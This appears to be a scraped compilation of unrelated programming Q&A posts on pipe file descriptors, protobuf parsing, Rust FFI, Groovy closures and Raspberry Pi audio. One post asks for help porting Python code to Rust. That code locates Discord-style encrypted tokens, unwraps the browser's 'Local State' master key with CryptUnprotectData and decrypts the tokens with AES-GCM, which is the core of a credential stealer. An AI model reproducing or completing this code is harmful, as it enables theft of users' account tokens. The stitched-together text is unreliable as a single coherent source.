I have a program that takes a fd to a pipe as argument. To simplify things I am simulating the python program as follows
src/test.py
#!/usr/bin/python3
import os
import sys
fd = int(sys.argv[1])
print("fd:", fd)
r = os.fdopen(fd, 'r')
print("pipe content: ", r.read())
I am creating the pipe and passing the fd as follows
src/main.rs
use std::io::Write;
use std::os::unix::io::IntoRawFd;
fn main() {
let (pipe_reader, mut pipe_writer) = os_pipe::pipe().unwrap();
write!(pipe_writer, "write content").unwrap();
let out = std::process::Command::new("./src/test.py")
.arg(pipe_reader.into_raw_fd().to_string())
.output()
.unwrap();
println!(
"STDOUT: {}\nSTDERR: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
}
There is a fd since "STDOUT: fd: 3" get's printed by python. However, python errors with "OSError: [Errno 9] Bad file descriptor"
What's wrong with my code?
Related
I am trying to translate a long algorithm written in python to rust. The algorithm works by reading a key from a file, and then using that key to decrypt strings of text with AES - GCM. In python, this works perfectly with the Crypto.Cipher module. When searching for an equivalent crate in rust, I found aes_gcm, and tried following the example.
The password is stored encoded in base64, and when decoded, it converts to a non-UTF array of bytes, which I dont know if it is a source of the problem.
Firstly I tried creating a key first like in the example, via let key = Aes256Gcm::generate_key(password);, where password was a String, or a &str, none of which worked. By reading the errors, I discovered the key should be a GenericArray. When searching github for code example usage, I saw the only method for creating these is the GenericArray::from_slice(), which I tried by passing a Vector converted to a slice. This however yields the following error
thread 'main' panicked at 'assertion failed: `(left == right)`
left: `267`,
right: `32`'
267 is the length of the password, therefore, I re-read the original algorithm and discovered it aplied a function to the key before using it, particularly, master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] from the win32crypt - CryptUnprotectData module. I also dont know how to translate this bit of code, but for testing purposes, I extracted the password the python algorithm yields, and inputed it directly to my rust code just as a test.
This time, an aead::Error is yielded, without further context. I dont know where im going wrong with all of this, and I don't have extensive knowledge of AES - GCM, so any help would be apreciated.
This is also the rust code which throws the errors. Note that all the ranges done to the original key are just translated from the python algorithm. The commented lines are past things attempted just as examples
fn decrypt_encrypted_strings(input_string: String, password: &Vec<u8>) -> String {
//let format_password: BlockRng = BlockRng::new(password);
//let key = Aes256Gcm::generate_key(password.into());
//let key = GenericArray::from_slice(&password[..]);
let key = GenericArray::from_slice(b"S\x06\x82VY\xe2E\x88\xa0\xc6\xe5ER?\xce!\xe1\xcf\x9b\xeb\xe3\xc1\xe39\xf0\x85\xa6\x97d\xc88\xe4"); // using password extracted by python algorithm directly
let cipher = Aes256Gcm::new(&key);
let nonce = Nonce::from_slice(&input_string[3..15].as_bytes());
let plaintext = match cipher.decrypt(nonce, &*input_string[15..].as_ref()) {
Ok(v) => v,
Err(e) => {
println!("error: {}", e);
return String::new()
}
};
println!("{:?}", plaintext);
return String::from(plaintext); // I know this is an error, but its not the problem
}
And this is where it is being called, the encoded strings are being parsed out of a file
for line in s.lines() {
if let mat = re.captures(line) {
if let Some(mat) = mat {
let text = decrypt_encrypted_strings(mat.get(0).unwrap().as_str().to_string(), &bytes); // here the string is being decrypted
if !decrypted_strings.contains(&text) {
decrypted_strings.push(text);
}
}
}
}
This is the python algorithm I am trying to translate
import os
import base64
import json
import winreg
from re import findall, match
import requests
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
def grab_data():
# Initialization and searching of paths not shown as it is not relevant
regex = r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$]*"
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in findall(regex, line):
plaintext_string = decrypt_password(base64.b64decode(y[:y.find('"')].split('dQw4w9WgXcQ:')[1]), get_master_key(<path_to_password_file>))
if not plaintext_string in strings:
strings.append(plaintext_string)
return strings
def decrypt_password(buff, master_key):
try:
# Initialization Vector
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return "Failed to decrypt password"
def get_master_key(path):
with open(path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
data = grab_data()
I want to deserialize an API response to a python object whose content-type is protobuf, I use the ParseFromString method to parse the HTTP response, but only get a number 23, print the response content directly is b'\n\x08Hi,py-pb'. So, how do I deserialize the HTTP response to the python object?
proto file content:
syntax = "proto3";
package greet;
// The greeting service definition.
service Greeter {
// Sends a greeting
rpc SayHello (HelloRequest) returns (HelloReply);
}
// The request message containing the user's name.
message HelloRequest {
string name = 1;
}
// The response message containing the greetings.
message HelloReply {
string message = 1;
}
python code:
# _*_ coding: utf8 _*_
from google.protobuf.json_format import ParseDict, MessageToJson
from protos.greet_pb2 import HelloRequest, HelloReply
import httpx
import asyncio
async def send_req():
req = {'name': 'py-pb'}
msg = ParseDict(req, HelloRequest())
print(msg)
print(type(msg))
print(msg.SerializeToString())
async with httpx.AsyncClient() as client:
resp = await client.post('http://localhost:5044/greet/Greeter/SayHello', data=msg.SerializeToString(),
headers={'Accept': 'application/protobuf', 'Content-Type': 'application/protobuf'})
print('=========response=========')
# print(resp.stream)
# print(resp.content)
# print(resp.text)
resp_msg = HelloReply().ParseFromString(resp.content)
# resp_msg = HelloReply().SerializeToString(resp.content)
print(resp_msg)
asyncio.run(send_req())
Versions:
Python - 3.10.5
google.protobuf - 4.21.2
Related answer:
ParseFromString is a method -- it does not return anything, but rather fills in self with the parsed content.
Reference:
Google Protocol Buffers (protobuf) in Python3 - trouble with ParseFromString (encoding?)
ParseFromString is an instance method. So you want, e.g.:
hello_reply = HelloReply()
hello_reply.ParseFromString(resp.content)
The docs include an example using ParseFromString.
Here's a repro:
from google.protobuf.json_format import ParseDict, MessageToJson
from greet_pb2 import HelloRequest, HelloReply
rqst = {'name': 'py-pb'}
msg = ParseDict(rqst, HelloRequest())
tx = msg.SerializeToString()
print(tx)
print(tx.hex())
resp = HelloReply()
resp.ParseFromString(tx)
print(resp)
Yields:
b'\n\x05py-pb'
0a0570792d7062
message: "py-pb"
You can take the binary as hex and plug it into protogen to decode it.
Field #1: 0A String Length = 5, Hex = 05, UTF8 = "py-pb"
Summary
I have some Cython code to interact with a 3rd party C++ driver library for a USB device. I am able to call the library from Python and open a device session. However, when I try to call the library from Rust using the FFI, I run into issues. Unfortunately, the 3rd party library is closed-source, so the best I can do is make sure my implementation is identical in Python and Rust.
Working Python/Cython Implementation (Python 3.9)
# main.py
from driver import Driver
def main():
print(f"DriverVersion: {Driver.get_driver_version().decode()}")
d = Driver()
success = d.initialize_session()
d.close_session()
assert success
if __name__ == "__main__":
main()
# driver.pxd
from libcpp cimport bool
cdef extern from "NrtControl.h":
bool NrtOpenDevice( const char *cpPort, int *piSession )
bool NrtCloseDevice( int iSession )
const char * NrtGetDriverVersion()
# driver.pyx
cdef class Driver:
cdef int iSession
cdef char *cpComport
def __init__(self):
self.iSession = 0
def initialize_session(self):
return NrtOpenDevice("COM8", &self.iSession)
#staticmethod
def get_driver_version():
return NrtGetDriverVersion()
def close_session(self):
NrtCloseDevice(self.iSession)
# setup.py
from distutils.core import Extension, setup
import numpy as np
from Cython.Build import cythonize
from Cython.Distutils import build_ext
def build():
equipment_exts = [
Extension(
name="driver",
sources=["driver.pyx"],
include_dirs=[
"C:\\Program Files\\NrtControl_for_Windows_20180921\\include",
],
library_dirs=[
"C:\\Program Files\\NrtControl_for_Windows_20180921\\VS2017\\x64\\Release"
],
libraries=["NrtControl"],
language="c++",
)
]
setup(
cmdclass={"build_ext": build_ext},
ext_modules=cythonize(
equipment_exts, compiler_directives={"language_level": 3}
),
)
if __name__ == "__main__":
build()
I run the above with python setup.py build_ext --inplace and then python .\main.py and get the following output:
DriverVersion: 1.5.5.0
Failing Rust Implementation (Rust 1.60)
// Cargo.toml
[package]
name = "nrt-ffi-bindings"
version = "0.1.0"
links = "NrtControl"
build = "build.rs"
edition = "2021"
[dependencies]
libc = "0.2"
// build.rs
fn main() {
println!("cargo:rustc-link-search=C:\\Program Files\\NrtControl_for_Windows_20180921\\VS2017\\x64\\Release");
}
// lib.rs
use libc::{c_char, c_int};
#[link(name = "NrtControl")]
extern "C" {
#[link_name = "?NrtOpenDevice##YA_NPEBDPEAH#Z"]
pub fn NrtOpenDevice(cpPort: *const c_char, piSession: *mut c_int) -> bool;
#[link_name = "?NrtCloseDevice##YA_NH#Z"]
pub fn NrtCloseDevice(iSession: c_int) -> bool;
#[link_name = "?NrtGetDriverVersion##YAPEBDXZ"]
pub fn NrtGetDriverVersion() -> *const c_char;
}
#[cfg(test)]
mod tests {
use std::ffi::{CStr, CString};
use super::*;
#[test]
fn open_close() {
unsafe {
println!(
"DriverVersion: {}",
CStr::from_ptr(NrtGetDriverVersion()).to_str().unwrap()
);
let port = CString::new("COM8").unwrap();
let session: c_int = 0;
let success = NrtOpenDevice(port.as_ptr(), session as *mut c_int);
NrtCloseDevice(session);
assert!(success);
}
}
}
When I run the above with cargo test -- --test-threads=1, I get the following:
DriverVersion: 1.5.5.0
thread 'tests::open_close' panicked at 'assertion failed: success', src\lib.rs:32:13
Notes
C:\\Program Files\\NrtControl_for_Windows_20180921\\VS2017\\x64\\Release contains
NrtControl.dll and NrtControl.lib, which were provided to me by a 3rd party.
Without the link_name attributes above, I get errors at runtime about failing to resolve external symbols. I had to run dumbin.exe on NrtControl.lib and search for the proper symbol names to copy and paste. I tried to find a way to do this with bindgen, but eventually resorted to this manual process. If anyone knows how I can avoid this, please do share.
Problem
So the problem is that my Rust invocation of the NrtOpenDevice function above returns false indicating failure, and I'm out of ideas on how to troubleshoot this.
Edit 1:
Adding NrtControl.h and nrtdef.h
Edit 2:
Following #rodrigo's suggestion below, I changed the call to:
let mut session: c_int = 0;
let success = NrtOpenDevice(port.as_ptr(), &mut session);
and it works (returns true)!
I still need to figure out how to make the link_name attributes target the correct symbol names automatically, as entering them manually is going to get tedious in the future...
I'm trying to create a simple groovy script that will download some JSON from a website, pretty print it, and then save it to a file. I'm using this as an exercise to learn how to practice some functional concepts and I'm running into an issue I can't figure out. Basically, the last composed closure has multiple params and I can't figure out how to apply it. I'd like the end result to be a one liner that specifies the URL and file location to save the contents.
def getJson = { sourceUrl ->
def conn = new URL(sourceUrl).openConnection() as HttpURLConnection
return conn.inputStream.text
}
def prettyPrintJson = { json ->
return groovy.json.JsonOutput.prettyPrint(json)
}
def save = { data, fileLocation ->
new File(fileLocation).write(data)
}
def sync = getJson >> prettyPrintJson >> save
sync('https://jsonplaceholder.typicode.com/posts') // don't know how to specify the fileLocation
If you compose functions, your innermost function determines the
arguments. So you could provide the second argument to save via
rcurry. E.g.:
def sync = getJson >> prettyPrintJson >> save.rcurry("/tmp/out.json")
sync('https://jsonplaceholder.typicode.com/posts')
Or you would have to thread the second argument down the line until you
need it. E.g.:
def getJson = { sourceUrl, out ->
[sourceUrl.toURL().text, out]
}
def prettyPrintJson = { json, out ->
[groovy.json.JsonOutput.prettyPrint(json), out]
}
def save = { data, fileLocation ->
new File(fileLocation).write(data)
}
def sync = getJson >> prettyPrintJson >> save
sync('https://jsonplaceholder.typicode.com/posts', '/tmp/out.json')
I'd imagine, that by using a macro (since 2.5) there should be a chance to
create a threading macro (e.g. like in Clojure).
i need to play sound on the raspberry pi with a node.js script. Everything is fine when i'm starting the script from the commandline myself. When i run the same script after startup out of the /etc/rc.local script i see my running process when doing "ps aux" but i cant hear any sound. I also tried to start the node script after 40 seconds, because i thought that there was too less time for some initialization stuff or something, but within this time i could start the script from the command line and hear sound...
i tried both users: root and pi. They both work from the cmd (because the user that runs the script after the autostart is the root user)
i linked my programm to /usr/bin/node because if not the process wasnt able to start on startup.
i forced the raspberryPi to use the sereo jack: amixer cset numid=3 1
my node.js code is:
var fs = require("fs");
var lame = require("lame");
var Speaker = require("speaker");
var SerialPort = require("serialport").SerialPort;
var playing = false;
var stream = [];
stream[0] = "sound1.mp3";
stream[1] = "sound2.mp3";
stream[2] = "sound3.mp3";
stream[3] = "sound4.mp3";
var getCurrentStream = function(){
var i = Math.round( Math.random() * 3)
return stream[i];
}
var serialPort = new SerialPort("/dev/ttyACM0", {
baudrate: 9600
}, false);
serialPort.open(function(){
console.log("open");
serialPort.on("data", function(data){
console.log("data received"+data);
if(!playing){
try{
var currentStream = fs.createReadStream( getCurrentStream() );
var speaker = new Speaker();
speaker.on('finish', function(){
playing = false;
});
currentStream.pipe(new lame.Decoder()).pipe(speaker);
playing = true;
}
catch(e){
console.log("Error: "+e);
}
}
});
});
for the startup i tried:
as a cronjob, after crontab -e i attached:
#reboot /opt/node/bin/forever start /var/www/node/residenz/server.js
i also tried the same inside the file /etc/rc.local :
/opt/node/bin/forever start /var/www/node/residenz/server.js
thanks for any help!
I had the same problem, and this question (and analyzing the answer) gave me hope that it was possible, but for me it was the paths that was a problem - I was using a relative path but the working directory (and perhaps user?) being executed under cron needed the path to the file be absolute. BTW, I used cron, python, and pygame (pygame.mixer.music) and was able to make it work.
My testing program (pygame.mixer.Sound did not work but I believe that was because I was using an MP3 instead of a WAV)
import pygame
import time
import os
import sys
#soundFile = "alarm.mp3" # BAD
soundFile = "/home/pi/alarm.mp3" # GOOD
channel = None
if len(sys.argv) > 1:
pygame.mixer.init(44100, -16, 2, 4096)
if sys.argv[1] == "music":
print "Testing pygame.mixer"
pygame.mixer.music.load(soundFile)
pygame.mixer.music.set_volume(1.0)
pygame.mixer.music.play()
elif sys.argv[1] == "sound":
print "Testing pygame.sound"
pygame.mixer.init()
s = pygame.mixer.Sound(soundFile)
s.set_volume(1.0)
channel = s.play()
elif sys.argv[1] == "mpg":
print "Using mpg321 Player"
os.system("mpg321 " + soundFile)
else:
print "Using OMX Player"
os.system("omxplayer " + soundFile)
print "Execution control has returned"
while pygame.mixer.get_busy() or pygame.mixer.music.get_busy() or \
(channel is not None and channel.get_busy()):
continue
pygame.mixer.quit()
else:
print "Unknown option. Options are omx, mpg, music, or sound"
In cron, I had #reboot python /home/pi/soundtest.py music & and it played the file on boot up.
Just in case, that anyone else has the same Problem i want to share my final solution. I simply did the functionality with python. For the startup, i put the line which starts the python script into the file /etc/rc.local
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# server.py
import RPi.GPIO as GPIO
import subprocess
import time
import serial
from random import randint
port = serial.Serial("/dev/ttyACM0", baudrate=9600, timeout=0)
PATH=[4]
PATH.append("/var/www/node/Boom1.mp3")
PATH.append("/var/www/node/Boom2.mp3")
PATH.append("/var/www/node/Boom3.mp3")
PATH.append("/var/www/node/Boom4.mp3")
def main():
count = 0
while True:
value=0
line = port.readlines()
if( len(line)!= 0 and count < 4 ):
try:
job=subprocess.Popen(["mpg321", returnPath()], stdin=subprocess.PIPE)
time.sleep( float(line[0])/10 )
except:
print("cant play soundfile")
def returnPath():
x = randint(1,4)
return PATH[x]
if __name__ == '__main__':
main()